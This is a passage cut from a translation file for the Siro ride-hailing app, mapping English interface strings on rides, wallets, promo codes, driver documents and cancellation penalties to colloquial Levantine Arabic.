- "With Siro, you can get a ride to your destination in minutes.": "مع سيرو، تقدر تاخد رحلة لوجهتك بدقايق.", - "Work": "العمل", - "Work & Contact": "العمل والتواصل", - "Work Saved": "تم حفظ العمل", - "Work time is from 10:00 - 17:00.\\nYou can send a WhatsApp message or email.": "وقت العمل من 10:00 لـ 17:00.\\nتقدر ترسل رسالة واتساب أو بريد إلكتروني.", - "Work time is from 10:00 AM to 16:00 PM.\\nYou can send a WhatsApp message or email.": "وقت العمل من 10:00 ص لـ 4:00 م.\\nتقدر ترسل رسالة واتساب أو بريد إلكتروني.", - "Work time is from 12:00 - 19:00.\\nYou can send a WhatsApp message or email.": "وقت العمل من 12:00 لـ 19:00.\\nتقدر ترسل رسالة واتساب أو بريد إلكتروني.", - "Would the passenger like to settle the remaining fare using their wallet?": "بد الراكب يسدّد الأجرة المتبقية بمحفظته؟", - "Would you like to proceed with health insurance?": "بدك تكمل مع التأمين الصحي؟", - "Write note": "اكتب ملاحظة", - "Write the reason for canceling the trip": "اكتب سبب إلغاء الرحلة", - "Write your comment here": "اكتب تعليقك هون", - "Write your reason...": "اكتب سببك...", - "YYYY-MM-DD": "YYYY-MM-DD", - "Year": "السنة", - "Year is": "السنة هي", - "Year of Manufacture": "سنة الصنع", - "Yes": "إي", - "Yes, Pay": "إي، ادفع", - "Yes, you can cancel your ride under certain conditions (e.g., before driver is assigned). See the Siro cancellation policy for details.": "إي، تقدر تلغي رحلتك بشروط معينة (مثلاً قبل ما يتحدد سائق). شوف سياسة الإلغاء بسيرو للتفاصيل.", - "Yes, you can cancel your ride, but please note that cancellation fees may apply depending on how far in advance you cancel.": "إي، تقدر تلغي رحلتك، بس انتبه إن في رسوم إلغاء ممكن تتطبق حسب الوقت اللي بتلغي فيه.", - "You Are Stopped For this Day !": "تم إيقافك لهاليوم!", - "You Can Cancel Trip And get Cost of Trip From": "تقدر تلغي الرحلة وتسترد التكلفة من", - "You Can Cancel the Trip and get Cost From": "تقدر تلغي الرحلة وتسترد التكلفة من", - "You Can cancel Ride After Captain did not come in the time": "تقدر تلغي الرحلة إذا ما جاك الكابتن بالوقت المحدد", - "You Dont Have Any amount in": "ما عندك أي مبلغ بـ", - "You Dont Have Any places yet !": "ما عندك أي أماكن لسا!", - "You Have": "عندك", - "You Have Tips": "عندك إكراميات", - "You Refused 3 Rides this Day that is the reason": "رفضت 3 رحلات بهاليوم وهيك السبب", - "You Refused 3 Rides this Day that is the reason\\nSee you Tomorrow!": "رفضت 3 رحلات بهاليوم وهيك السبب\\nنشوفك بكرة!", - "You Should be select reason.": "لازم تختار سبب.", - "You Should choose rate figure": "لازم تختار رقم التقييم", - "You Will Be Notified": "رح نبلّغك", - "You accepted the VIP order.": "قبلت طلب VIP.", - "You are Delete": "تم حذفك", - "You are Stopped": "تم إيقافك", - "You are far from passenger location": "أنت بعيد عن موقع الراكب", - "You are in an active ride. Leaving this screen might stop tracking. Are you sure you want to exit?": "أنت برحلة نشطة. خروجك من هالشاشة ممكن يوقف التتبع. متأكد بدك تخرج؟", - "You are near the destination": "أنت قريب من الوجهة", - "You are not in near to passenger location": "أنت مش قريب من موقع الراكب", - "You are not near": "أنت مش قريب من", - "You are not near the passenger location": "أنت مش قريب من موقع الراكب", - "You can buy Points to let you online": "تقدر تشتري نقاط عشان تكون أونلاين", - "You can buy Points to let you online\\nby this list below": "تقدر تشتري نقاط عشان تكون أونلاين\\nبهالقائمة تحت", - "You can buy points from your budget": "تقدر تشتري نقاط من ميزانيتك", - "You can call or record audio during this trip.": "تقدر تتصل أو تسجّل صوت خلال هالرحلة.", - "You can call or record audio of this trip": "تقدر تتصل أو تسجّل صوت هالرحلة", - "You can cancel Ride now": "تقدر تلغي الرحلة هلق", - "You can cancel trip": "تقدر تلغي الرحلة", - "You can change the Country to get all features": "تقدر تغير البلد عشان تاخد كل الميزات", - "You can change the destination by long-pressing any point on the map": "تقدر تغير الوجهة بالضغط المطوّل على أي نقطة بالخريطة", - "You can change the language of the app": "تقدر تغير لغة التطبيق", - "You can change the vibration feedback for all buttons": "تقدر تغير الاهتزاز لكل الأزرار", - "You can claim your gift once they complete 2 trips.": "تقدر تستلم هديتك لما يكملوا رحلتين.", - "You can communicate with your driver or passenger through the in-app chat feature once a ride is confirmed.": "تقدر تتواصل مع السائق أو الراكب عبر الدردشة جوا التطبيق بعد ما تتأكد الرحلة.", - "You can contact us during working hours from 10:00 - 16:00.": "تقدر تتواصل معنا بساعات العمل من 10:00 لـ 16:00.", - "You can contact us during working hours from 10:00 - 17:00.": "تقدر تتواصل معنا بساعات العمل من 10:00 لـ 17:00.", - "You can contact us during working hours from 12:00 - 19:00.": "تقدر تتواصل معنا بساعات العمل من 12:00 لـ 19:00.", - "You can decline a request without any cost": "تقدر ترفض طلب من دون أي تكلفة", - "You can now receive orders": "الآن تقدر تستلم طلبات", - "You can only use one device at a time. This device will now be set as your active device.": "تقدر تستخدم جهاز واحد بوقت واحد. هالجهاز رح يصير جهازك النشط هلق.", - "You can pay for your ride using cash or credit/debit card. You can select your preferred payment method before confirming your ride.": "تقدر تدفع لرحلتك كاش أو ببطاقة ائتمان/خصم. تقدر تختار طريقة الدفع المفضلة قبل ما تؤكد الرحلة.", - "You can purchase a budget to enable online access through the options listed below": "تقدر تشتري ميزانية عشان تفعّل الاتصال الأونلاين عبر الخيارات اللي تحت", - "You can purchase a budget to enable online access through the options listed below.": "تقدر تشتري ميزانية عشان تفعّل الاتصال الأونلاين عبر الخيارات اللي تحت.", - "You can resend in": "تقدر تعيد الإرسال بـ", - "You can share the Siro App with your friends and earn rewards for rides they take using your code": "تقدر تشارك تطبيق سيرو مع صحابك وتكسب مكافآت عن الرحلات اللي يعملوها بكودك", - "You can upgrade price to may driver accept your order": "تقدر ترفع السعر عشان يقبل سائق طلبك", - "You canceled VIP trip": "ألغيت رحلة VIP", - "You cannot call the passenger due to policy violations": "ما تقدر تتصل بالراكب بسبب انتهاكات السياسة", - "You deserve the gift": "أنت تستحق الهدية", - "You do not have enough money in your SAFAR wallet": "ما عندك فلوس كافية بمحفظة سفرك", - "You dont Add Emergency Phone Yet!": "ما ضفت رقم طوارئ لسا!", - "You dont have Points": "ما عندك نقاط", - "You dont have invitation code": "ما عندك كود دعوة", - "You dont have money in your Wallet": "ما عندك فلوس بمحفظتك", - "You dont have money in your Wallet or you should less transfer 5 LE to activate": "ما عندك فلوس بمحفظتك أو لازم تحول أقل من 5 ل.م عشان تفعّل", - "You gained": "ربحت", - "You have": "عندك", - "You have 200": "عندك 200", - "You have 500": "عندك 500", - "You have already received your gift for inviting": "استلمت هديتك للدعوة من قبل", - "You have already used this promo code.": "استخدمت هالكود الترويجي من قبل.", - "You have arrived at your destination": "وصلت لوجهتك", - "You have arrived at your destination, @name": "وصلت لوجهتك، @name", - "You have call from driver": "عندك مكالمة من السائق", - "You have chosen not to proceed with health insurance.": "اخترت ما تكمل مع التأمين الصحي.", - "You have copied the promo code.": "نسخت الكود الترويجي.", - "You have earned 20": "ربحت 20", - "You have exceeded the allowed cancellation limit (3 times).\\nYou cannot work until the penalty expires.": "تجاوزت الحد المسموح للإلغاء (3 مرات).\\nما تقدر تشتغل لحتى تنتهي العقوبة.", - "You have finished all times": "خلصت كل الأوقات", - "You have gift 300 L.E": "عندك هدية 300 ل.م", - "You have gift 300 SYP": "عندك هدية 300 ل.س", - "You have gift 300 EGP": "عندك هدية 300 ج.م", - "You have gift 300 JOD": "عندك هدية 300 د.أ", - "You have gift 30000 SYP": "عندك هدية 30000 ل.س", - "You have gift 30000 EGP": "عندك هدية 30000 ج.م", - "You have gift 30000 JOD": "عندك هدية 30000 د.أ", - "You have got a gift": "وصلتك هدية", - "You have got a gift for invitation": "وصلتك هدية للدعوة", - "You have in account": "لديك في الحساب", - "You have promo!": "عندك عرض ترويجي!", - "You have received a gift token!": "استلمت رمز هدية!", - "You have successfully charged your account": "شحنت حسابك بنجاح", - "You have successfully opted for health insurance.": "اخترت التأمين الصحي بنجاح.", - "You have transfer to your wallet from": "تم التحويل لمحفظتك من", - "You have transferred to your wallet from": "تم التحويل لمحفظتك من", - "You have upload Criminal documents": "رفعت وثائق جنائية", - "You must Verify email !.": "لازم توثّق بريدك الإلكتروني !.", - "You must be charge your Account": "لازم تشحن حسابك", - "You must be recharge your Account": "لازم تعيد شحن حسابك", - "You must restart the app to change the language.": "لازم تعيد تشغيل التطبيق عشان تغير اللغة.", - "You need to be closer to the pickup location.": "لازم تكون أقرب لموقع الالتقاط.", - "You need to complete 500 trips": "لازم تكمل 500 رحلة", - "You should complete 500 trips to unlock this feature.": "لازم تكمل 500 رحلة عشان تفتح هالميزة.", - "You should complete 600 trips": "لازم تكمل 600 رحلة", - "You should have upload it .": "لازم تكون رفعتها.", - "You should renew Driver license": "لازم تجدّد رخصة السائق", - "You should restart app to change language": "لازم تعيد تشغيل التطبيق عشان تغير اللغة", - "You should select one": "لازم تختار واحد", - "You should select your country": "لازم تختار بلدك", - "You should use Touch ID or Face ID to confirm payment": "لازم تستخدم بصمة اللمس أو الوجه لتأكيد الدفع", - "You trip distance is": "مسافة رحلتك هي", - "You will arrive to your destination after": "رح توصل لوجهتك بعد", - "You will arrive to your destination after timer end.": "رح توصل لوجهتك بعد ما يخلص العداد.", - "You will be charged for the cost of the driver coming to your location.": "رح يتحسب عليك تكلفة وصول السائق لموقعك.", - "You will be pay the cost to driver or we will get it from you on next trip": "رح تدفع التكلفة للسائق أو بنخصمها من رحلتك الجاية", - "You will be thier in": "رح توصل هناك بـ", - "You will cancel registration": "رح تلغي التسجيل", - "You will choose allow all the time to be ready receive orders": "رح تختار السماح دايماً عشان تكون جاهز تستلم طلبات", - "You will choose one of above !": "رح تختار واحد من فوق!", - "You will get cost of your work for this trip": "رح تاخد أجرة شغلك بهالرحلة", - "You will need to pay the cost to the driver, or it will be deducted from your next trip": "لازم تدفع التكلفة للسائق، أو رح تنخصم من رحلتك الجاية", - "You will receive a code in SMS message": "رح تستلم كود برسالة SMS", - "You will receive a code in WhatsApp Messenger": "رح تستلم كود بواتساب", - "You will receive code in sms message": "رح تستلم كود برسالة SMS", - "You will recieve code in sms message": "رح تستلم كود برسالة SMS", - "Your Account is Deleted": "تم حذف حسابك", - "Your Activity": "نشاطك", - "Your Application is Under Review": "طلبك قيد المراجعة", - "Your Budget less than needed": "رصيدك أقل من المطلوب", - "Your Choice, Our Priority": "اختيارك، أولويتنا", - "Your Driver Referral Code": "كود دعوة السائق بتاعك", - "Your Earnings": "أرباحك", - "Your Journey Begins Here": "رحلتك بلشت من هون", - "Your Name is Wrong": "اسمك غلط", - "Your Passenger Referral Code": "كود دعوة الراكب بتاعك", - "Your Question": "سؤالك", - "Your Questions": "أسئلتك", - "Your Rewards": "مكافآتك", - "Your Ride Duration is": "مدة رحلتك هي", - "Your Wallet balance is": "رصيد محفظتك هو", - "Your account is temporarily restricted ⛔": "حسابك مقيد مؤقتاً ⛔", - "Your are far from passenger location": "أنت بعيد عن موقع الراكب", - "Your balance is less than the minimum withdrawal amount of {minAmount} S.P.": "رصيدك أقل من الحد الأدنى للسحب وهو {minAmount} ل.س.", - "Your complaint has been submitted.": "تم إرسال شكواك.", - "Your data will be erased after 2 weeks": "بياناتك رح تنمسح بعد أسبوعين", - "Your driver’s license and/or car tax has expired. Please renew them before proceeding.": "رخصة سيارتك و/أو ضريبة السيارة منتهية. تفضل تجددها قبل ما تكمل.", - "Your driver’s license has expired.": "رخصة سيارتك منتهية.", - "Your driver’s license has expired. Please renew it before proceeding.": "رخصة سيارتك منتهية. تفضل تجددها قبل ما تكمل.", - "Your driver’s license has expired. Please renew it.": "رخصة سيارتك منتهية. تفضل تجددها.", - "Your email address": "عنوان بريدك الإلكتروني", - "Your email not updated yet": "بريدك ما انحدث لسا", - "Your fee is": "أجرتك هي", - "Your invite code was successfully applied!": "تم تطبيق كود الدعوة بنجاح!", - "Your journey starts here": "رحلتك بلشت من هون", - "Your location is being tracked in the background.": "موقعك عم يتتبع بالخلفية.", - "Your name": "اسمك", - "Your order is being prepared": "طلبك عم يتجهّز", - "Your order sent to drivers": "تم إرسال طلبك للسواقين", - "Your password": "كلمة مرورك", - "Your past trips will appear here.": "رحلاتك السابقة رح تظهر هون.", - "Your payment was successful.": "تم دفعك بنجاح.", - "Your personal invitation code is:": "كود الدعوة الشخصي بتاعك هو:", - "Your rating has been submitted.": "تم إرسال تقييمك.", - "Your total balance:": "رصيدك الإجمالي:", - "Your trip cost is": "تكلفة رحلتك هي", - "Your trip distance is": "مسافة رحلتك هي", - "Your trip is scheduled": "رحلتك مجدولة", - "Your valuable feedback helps us improve our service quality.": "تعليقك القيم بيساعدنا نحسّن جودة خدمتنا.", - "\\$": "\\$", - "\\nWe also prioritize affordability, offering competitive pricing to make your rides accessible.": "\\nكمان بنعطي أولوية للتوفير، بنقدم أسعار منافسة عشان الرحلات تكون بمتناول إيدك.", - "accepted": "انقبلت", - "accepted your order": "قبل طلبك", - "accepted your order at price": "قبل طلبك بسعر", - "age": "العمر", - "agreement subtitle": "عنوان الاتفاقية", - "airport": "المطار", - "alert": "تنبيه", - "amount": "المبلغ", - "amount_paid": "المبلغ المدفوع", - "an error occurred": "صار خطأ", - "and I have a trip on": "وعندي رحلة بـ", - "and acknowledge our": "وبوافق على", - "app_description": "وصف التطبيق", - "ar": "ar", - "ar-gulf": "ar-gulf", - "ar-ma": "ar-ma", - "arrival time to reach your point": "وقت الوصول لنقطتك", - "attach audio of complain": "أرفق صوت الشكوى", - "attach correct audio": "أرفق الصوت الصحيح", - "be sure": "تأكد", - "before": "قبل", - "birthdate": "تاريخ الميلاد", - "bonus_added": "البونص المضاف", - "by": "بواسطة", - "by this list below": "بهالقائمة تحت", - "cancel": "إلغاء", - "car_back": "خلفي السيارة", - "car_color": "لون السيارة", - "car_front": "أمامي السيارة", - "car_license_back": "الجانب الخلفي لرخصة السيارة", - "car_license_front": "الجانب الأمامي لرخصة السيارة", - "car_model": "موديل السيارة", - "car_plate": "لوحة السيارة", - "change device": "تغيير الجهاز", - "color.beige": "بيج", - "color.black": "أسود", - "color.blue": "أزرق", - "color.bronze": "برونزي", - "color.brown": "بني", - "color.burgundy": "نبيتي", - "color.champagne": "شمبانيا", - "color.darkGreen": "أخضر غامق", - "color.gold": "ذهبي", - "color.gray": "رمادي", - "color.green": "أخضر", - "color.gunmetal": "رمادي معدني", - "color.maroon": "كستنائي", - "color.navy": "كحلي", - "color.orange": "برتقالي", - "color.purple": "بنفسجي", - "color.red": "أحمر", - "color.silver": "فضي", - "color.white": "أبيض", - "color.yellow": "أصفر", - "committed_to_safety": "ملتزم بالسلامة", - "complete profile subtitle": "عنوان إكمال الملف", - "complete registration button": "زر إكمال التسجيل", - "complete, you can claim your gift": "اكمل، تقدر تستلم هديتك", - "connection_failed": "فشل الاتصال", - "copied to clipboard": "تم النسخ للحافظة", - "cost is": "التكلفة هي", - "created time": "وقت الإنشاء", - "de": "de", - "default_tone": "النغمة الافتراضية", - "deleted": "تم الحذف", - "detected": "تم الكشف عنه", - "distance is": "المسافة هي", - "driver_license": "رخصة القيادة", - "duration is": "المدة هي", - "e.g., 0912345678": "مثال: 0912345678", - "education": "التعليم", - "el": "el", - "email optional label": "تسمية البريد الاختياري", - "end": "نهاية", - "enter otp validation": "أدخل تحقق OTP", - "error": "خطأ", - "error_processing_document": "خطأ بمعالجة المستند", - "es": "es", - "expected": "متوقع", - "expiration_date": "تاريخ الانتهاء", - "fa": "fa", - "face detect": "كشف الوجه", - "failed to send otp": "فشل إرسال OTP", - "false": "خطأ", - "first name label": "تسمية الاسم الأول", - "first name required": "الاسم الأول مطلوب", - "for": "بـ", - "for your first registration!": "لتسجيلك الأول!", - "fr": "fr", - "from 07:30 till 10:30 (Thursday, Friday, Saturday, Monday)": "من 7:30 لـ 10:30 (خميس، جمعة، سبت، اثنين)", - "from 12:00 till 15:00 (Thursday, Friday, Saturday, Monday)": "من 12:00 لـ 15:00 (خميس، جمعة، سبت، اثنين)", - "from 23:59 till 05:30": "من 23:59 لـ 5:30", - "from 3 times Take Attention": "انتبه بعد 3 مرات", - "from your favorites": "من مفضلاتك", - "from your list": "من قائمتك", - "fromBudget": "من الميزانية", - "gender": "الجنس", - "get_a_ride": "احصل على رحلة", - "get_to_destination": "الوصول للوجهة", - "go to your passenger location before": "روح لموقع الراكب قبل", - "go to your passenger location before\\nPassenger cancel trip": "روح لموقع الراكب قبل ما يلغي الراكب الرحلة", - "has been added to your budget": "تمت إضافته لميزانيتك", - "has completed": "اكتمل", - "hi": "هلا", - "hour": "ساعة", - "hours before trying again.": "ساعات قبل ما تجرب مرة تانية.", - "i agree": "بوافق", - "id_back": "خلفي الهوية", - "id_card_back": "الجانب الخلفي لبطاقة الهوية", - "id_card_front": "الجانب الأمامي لبطاقة الهوية", - "id_front": "أمامي الهوية", - "if you dont have account": "إذا ما عندك حساب", - "if you want help you can email us here": "إذا بدك مساعدة تقدر تراسلنا هون", - "image verified": "تم التحقق من الصورة", - "in your": "بـ", - "incorrect_document_message": "رسالة المستند غير صحيح", - "incorrect_document_title": "وثيقة غير صحيحة", - "insert amount": "أدخل المبلغ", - "is driving a": "عم يسوق", - "is reviewing your order. They may need more information or a higher price.": "عم يراجع طلبك. ممكن يحتاجوا معلومات أكثر أو سعر أعلى.", - "it": "it", - "joined": "انضم", - "kilometer": "كيلومتر", - "last name label": "تسمية اسم العائلة", - "last name required": "اسم العائلة مطلوب", - "ll let you know when the review is complete.": "رح نعلمك لما تكتمل المراجعة.", - "login or register subtitle": "عنوان تسجيل الدخول أو التسجيل", - "m": "م", - "m at the agreed-upon location": "بالموقع المتفق عليه", - "m inviting you to try Siro.": "بدعوك تجرب سيرو.", - "m waiting for you": "عم أستناك", - "m waiting for you at the specified location.": "عم أستناك بالموقع المحدد.", - "message From Driver": "رسالة من السائق", - "message From passenger": "رسالة من الراكب", - "min": "دقيقة", - "minute": "دقيقة", - "minutes before trying again.": "دقايق قبل ما تجرب مرة تانية.", - "model :": "موديل :", - "moi\\\\": "moi\\\\", - "mtn": "mtn", - "my location": "موقعي", - "non_id_card_back": "خلفي غير الهوية", - "non_id_card_front": "أمامي غير الهوية", - "not similar": "غير متشابه", - "of": "من", - "on": "على", - "one last step title": "عنوان الخطوة الأخيرة", - "otp sent subtitle": "عنوان إرسال OTP", - "otp sent success": "تم إرسال OTP بنجاح", - "otp verification failed": "فشل التحقق من OTP", - "passenger agreement": "اتفاقية الراكب", - "passenger amount to me": "مبلغ الراكب لي", - "payment_success": "تمت العملية بنجاح", - "pending": "قيد الانتظار", - "phone number label": "تسمية رقم الهاتف", - "phone number of driver": "رقم هاتف السائق", - "phone number required": "رقم الهاتف مطلوب", - "please go to picker location exactly": "تفضل روح لموقع الالتقاط بالضبط", - "please order now": "تفضل اطلب هلق", - "please wait till driver accept your order": "تفضل استنى لحتى يقبل السائق طلبك", - "points": "نقطة", - "price is": "السعر هو", - "privacy policy": "سياسة الخصوصية", - "rating_count": "عدد التقييمات", - "rating_driver": "تقييم السائق", - "re eligible for a special offer!": "رح تكون مؤهل لعرض خاص!", - "registration failed": "فشل التسجيل", - "registration_date": "تاريخ التسجيل", - "reject your order.": "رفض طلبك.", - "rejected": "مرفوض", - "remaining": "المتبقي", - "reviews": "المراجعات", - "rides": "الرحلات", - "ru": "ru", - "s Degree": "درجة", - "s Siro account.": "حساب سيرو.", - "s Siro account.\\nStore your money with us and receive it in your bank as a monthly salary.": "ميزات محفظة سيرو:\\nتحويل الأموال عدة مرات.\\nالتحويل لأي شخص.\\nإجراء عمليات شراء.\\nشحن حسابك.\\nشحن حساب سيرو لصديق.\\nخزّن فلوسك عنا واستلمها ببنكك كراتب شهري.", - "s License": "رخصة", - "s Personal Information": "المعلومات الشخصية", - "s Promo": "عرض", - "s Promos": "عروض", - "s Response": "رد", - "s Terms & Review Privacy Notice": "شروط ومراجعة إشعار الخصوصية", - "s heavy traffic here. Can you suggest an alternate pickup point?": "في زحمة كتير هون. تقترّح نقطة التقاط تانية؟", - "s license does not match the one on your ID document. Please verify and provide the correct documents.": "رخصته ما بتتطابق مع الهوية. تفضل تحقق وقدّم الوثائق الصحيحة.", - "s license, ID document, and car registration document. Our AI system will instantly review and verify their authenticity in just 2-3 minutes. If your documents are approved, you can start working as a driver on the Siro app. Please note, submitting fraudulent documents is a serious offense and may result in immediate termination and legal consequences.": "رخصته، الهوية، ورخصة السيارة. نظام الذكاء الاصطناعي رح يراجعها ويوثّقها بدقيقتين لـ 3. إذا انقبلت، تقبل تشتغل كسائق بسيرو. انتبه، تزوير وثائق جريمة خطيرة وبتسبب فصل فوري وعواقب قانونية.", - "s license. Please verify and provide the correct documents.": "رخصته. تفضل تحقق وقدّم الوثائق الصحيحة.", - "s phone": "هاتف", - "s pioneering ride-sharing service, proudly developed by Arabian and local owners. We prioritize being near you – both our valued passengers and our dedicated captains.": "خدمة مشاركة الرحلات الرائدة، مطورة بفخر من ملاك عرب ومحليين. بنعطي أولوية للقرب منك – ركابنا وسواقينا.", - "s time to check the Siro app!": "وقت تتفقد تطبيق سيرو!", - "safe_and_comfortable": "آمن ومريح", - "scams operations": "عمليات احتيال", - "scan Car License.": "امسح رخصة السيارة.", - "seconds": "ثواني", - "security_warning": "تحذير أمني", - "send otp button": "زر إرسال OTP", - "server error try again": "خطأ بالخادم جرّب مرة تانية", - "server_error": "خطأ بالخادم", - "server_error_message": "صار خطأ بالاتصال بالخادم", - "similar": "متشابه", - "start": "ابدأ", - "string": "نص", - "syriatel": "سيريتل", - "t an Egyptian phone number": "رقم هاتف مصري", - "t be late": "ما تتأخر", - "t cancel!": "ما تلغي!", - "t continue with us .": "ما تقدر تكمل معنا.", - "t continue with us .\\nYou should renew Driver license": "ما تقدر تكمل معنا.\\nلازم تجدّد رخصة السائق", - "t find a valid route to this destination. Please try selecting a different point.": "ما لقينا طريق صالح لهالوجهة. تفضل جرّب تختار نقطة تانية.", - "t forget your personal belongings.": "ما تنسى حاجاتك الشخصية.", - "t forget your ride!": "ما تنسى رحلتك!", - "t found any drivers yet. Consider increasing your trip fee to make your offer more attractive to drivers.": "ما لقينا سواقين لسا. فكّر ترفع رسوم رحلتك عشان تجذب سواقين أكثر.", - "t have a code": "ما عندك كود", - "t have a phone number.": "ما عندك رقم هاتف.", - "t have a reason": "ما عندك سبب", - "t have account": "ما عندك حساب", - "t have enough money in your Siro wallet": "ما عندك فلوس كافية بمحفظة سيرو", - "t moved sufficiently!": "ما تحركت بشكل كافي!", - "t need a ride anymore": "ما بدك رحلة بعد هيك", - "t return to use app after 1 month": "ما ترجع تستخدم التطبيق بعد شهر", - "t start trip if not": "ما تبدأ الرحلة إذا ما", - "t start trip if passenger not in your car": "لا تبدأ الرحلة إذا الراكب مش بسيارتك", - "terms of use": "شروط الاستخدام", - "the 300 points equal 300 L.E": "الـ 300 نقطة بتساوي 300 ل.م", - "the 300 points equal 300 L.E for you": "الـ 300 نقطة بتساوي 300 ل.م لك", - "the 300 points equal 300 L.E for you\\nSo go and gain your money": "الـ 300 نقطة بتساوي 300 ل.م لك\\nيلا استلم فلوسك", - "the 3000 points equal 3000 L.E": "الـ 3000 نقطة بتساوي 3000 ل.م", - "the 3000 points equal 3000 L.E for you": "الـ 3000 نقطة بتساوي 3000 ل.م لك", - "the 500 points equal 30 JOD": "الـ 500 نقطة بتساوي 30 د.أ", - "the 500 points equal 30 JOD for you": "الـ 500 نقطة بتساوي 30 د.أ لك", - "the 500 points equal 30 JOD for you\\nSo go and gain your money": "الـ 500 نقطة بتساوي 30 د.أ لك\\nيلا استلم فلوسك", - "this is count of your all trips in the Afternoon promo today from 3:00pm to 6:00 pm": "هالعدد لكل رحلاتك بعرض الظهيرة اليوم من 3:00 م لـ 6:00 م", - "this is count of your all trips in the Afternoon promo today from 3:00pm-6:00 pm": "هالعدد لكل رحلاتك بعرض الظهيرة اليوم من 3:00 م لـ 6:00 م", - "this is count of your all trips in the morning promo today from 7:00am to 10:00am": "هالعدد لكل رحلاتك بعرض الصباح اليوم من 7:00 ص لـ 10:00 ص", - "this is count of your all trips in the morning promo today from 7:00am-10:00am": "هالعدد لكل رحلاتك بعرض الصباح اليوم من 7:00 ص لـ 10:00 ص", - "this will delete all files from your device": "هالشي رح يحذف كل الملفات من جهازك", - "time Selected": "الوقت المختار", - "tips": "الإكراميات", - "to": "إلى", - "token change": "تغيير الرمز", - "token updated": "تم تحديث الرمز", - "towards": "باتجاه", - "tr": "tr", - "transaction_failed": "فشلت العملية", - "transaction_id": "رقم العملية", - "transfer Successful": "نجاح التحويل", - "trips": "الرحلات", - "true": "صحيح", - "type here": "اكتب هون", - "unknown_document": "وثيقة غير معروفة", - "upgrade price": "رفع السعر", - "uploaded sucssefuly": "تم الرفع بنجاح", - "ve arrived.": "وصلت.", - "ve been trying to reach you but your phone is off.": "كنت عم حاول توصلك بس هاتفك مقفول.", - "verify and continue button": "زر التحقق والمتابعة", - "verify your number title": "عنوان التحقق من رقمك", - "vin": "رقم الهيكل", - "wait 1 minute to receive message": "استنى دقيقة وحدة عشان تستلم الرسالة", - "wallet due to a previous trip.": "المحفظة بسبب رحلة سابقة.", - "wallet_credited_message": "تم إضافة", - "wallet_updated": "تم تحديث المحفظة", - "welcome to siro": "أهلاً بك في سيرو", - "welcome user": "أهلاً بالمستخدم", - "welcome_message": "رسالة الترحيب", - "welcome_to_siro": "أهلاً بك في سيرو", - "with type": "بالنوع", - "witout zero": "بدون صفر", - "write Color for your car": "اكتب لون سيارتك", - "write Expiration Date for your car": "اكتب تاريخ انتهاء سيارتك", - "write Make for your car": "اكتب ماركة سيارتك", - "write Model for your car": "اكتب موديل سيارتك", - "write Year for your car": "اكتب سنة سيارتك", - "write comment here": "اكتب تعليق هون", - "write vin for your car": "اكتب رقم هيكل سيارتك", - "year :": "سنة :", - "you are not moved yet !": "ما تحركت لسا!", - "you can buy": "تقدر تشتري", - "you can show video how to setup": "تقدر تشوف فيديو كيف تضبط", - "you canceled order": "ألغيت الطلب", - "you dont have accepted ride": "ما عندك رحلة مقبولة", - "you gain": "تكسب", - "you have a negative balance of": "عندك رصيد سلبي بقيمة", - "you must insert token code": "لازم تدخل رمز الرمز", - "you will pay to Driver": "رح تدفع للسائق", - "you will pay to Driver you will be pay the cost of driver time look to your Siro Wallet": "رح تدفع للسائق هتدفع تكلفة وقت السائق شوف محفظة سيرو بتاعتك", - "you will use this device?": "رح تستخدم هالجهاز؟", - "your ride is Accepted": "رحلتك انقبلت", - "your ride is applied": "تم تقديم رحلتك", - "zh": "zh", - "أدخل رقم محفظتك": "أدخل رقم محفظتك", - "أوافق": "بوافق", - "إلغاء": "إلغاء", - "إلى": "إلى", - "اضغط للاستماع": "اضغط عشان تسمع", - "الاسم الكامل": "الاسم الكامل", - "التالي": "التالي", - "التقط صورة الوجه الخلفي للرخصة": "التقط صورة للوجه الخلفي للرخصة", - "التقط صورة لخلفية رخصة المركبة": "التقط صورة لظهر رخصة المركبة", - "التقط صورة لرخصة القيادة": "التقط صورة لرخصة القيادة", - "التقط صورة لصحيفة الحالة الجنائية": "التقط صورة لصحيفة الحالة الجنائية", - "التقط صورة للوجه الأمامي للهوية": "التقط صورة للوجه الأمامي للهوية", - "التقط صورة للوجه الخلفي للهوية": "التقط صورة للوجه الخلفي للهوية", - "التقط صورة لوجه رخصة المركبة": "التقط صورة لوجه رخصة المركبة", - "الرصيد الحالي": "الرصيد الحالي", - "الرقم القومي": "الرقم القومي", - "السعر": "السعر", - "المبلغ في محفظتك أقل من الحد الأدنى للسحب وهو": "المبلغ بمحفظتك أقل من الحد الأدنى للسحب وهو", - "المسافة": "المسافة", - "الوقت المتبقي": "الوقت المتبقي", - "بطاقة الهوية – الوجه الأمامي": "بطاقة الهوية – الوجه الأمامي", - "بطاقة الهوية – الوجه الخلفي": "بطاقة الهوية – الوجه الخلفي", - "تأكيد": "تأكيد", - "تم إلغاء الرحلة": "تم إلغاء الرحلة", - "تنبيه": "تنبيه", - "ثانية": "ثانية", - "رخصة القيادة – الوجه الأمامي": "رخصة القيادة – الوجه الأمامي", - "رخصة القيادة – الوجه الخلفي": "رخصة القيادة – الوجه الخلفي", - "رخصة المركبة – الوجه الأمامي": "رخصة المركبة – الوجه الأمامي", - "رخصة المركبة – الوجه الخلفي": "رخصة المركبة – الوجه الخلفي", - "رصيدك الإجمالي:": "رصيدك الإجمالي:", - "رفض": "رفض", - "سحب الرصيد": "سحب الرصيد", - "سنة الميلاد": "سنة الميلاد", - "سيتم إلغاء التسجيل": "رح يلغى التسجيل", - "شاهد فيديو الشرح": "شاهد فيديو الشرح", - "صحيفة الحالة الجنائية": "صحيفة الحالة الجنائية", - "طريقة الدفع:": "طريقة الدفع:", - "طلب جديد": "طلب جديد", - "قبول": "قبول", - "ل.س": "ل.س", - "للوصول": "للوصول", - "مثال: 0912345678": "مثال: 0912345678", - "مدة الرحلة: \\${order.tripDurationMinutes} دقيقة": "مدة الرحلة: \\${order.tripDurationMinutes} دقيقة", - "من": "من", - "موافق": "موافق", - "نتيجة الفحص": "نتيجة الفحص", - "هل تريد سحب أرباحك؟": "بدك تسحب أرباحك؟", - "ُExpire Date": "ُExpire Date", - "⚠️ You need to choose an amount!": "⚠️ لازم تختار مبلغ!", - "💰 Pay with Wallet": "💰 ادفع من المحفظة", - "💳 Pay with Credit Card": "💳 ادفع ببطاقة ائتمان", - "Wait for timer": "استنى ليخلص الوقت", - "Due to excessive cancellations (3 times), receiving orders has been suspended for 4 hours.": "بسبب كثرة الإلغاءات (3 مرات)، تم إيقاف استقبال الطلبات لمدة 4 ساعات.", - "No route points found": "ما لقينا نقاط للمسار", - "Failed to process route points": "فشلنا بمعالجة نقاط 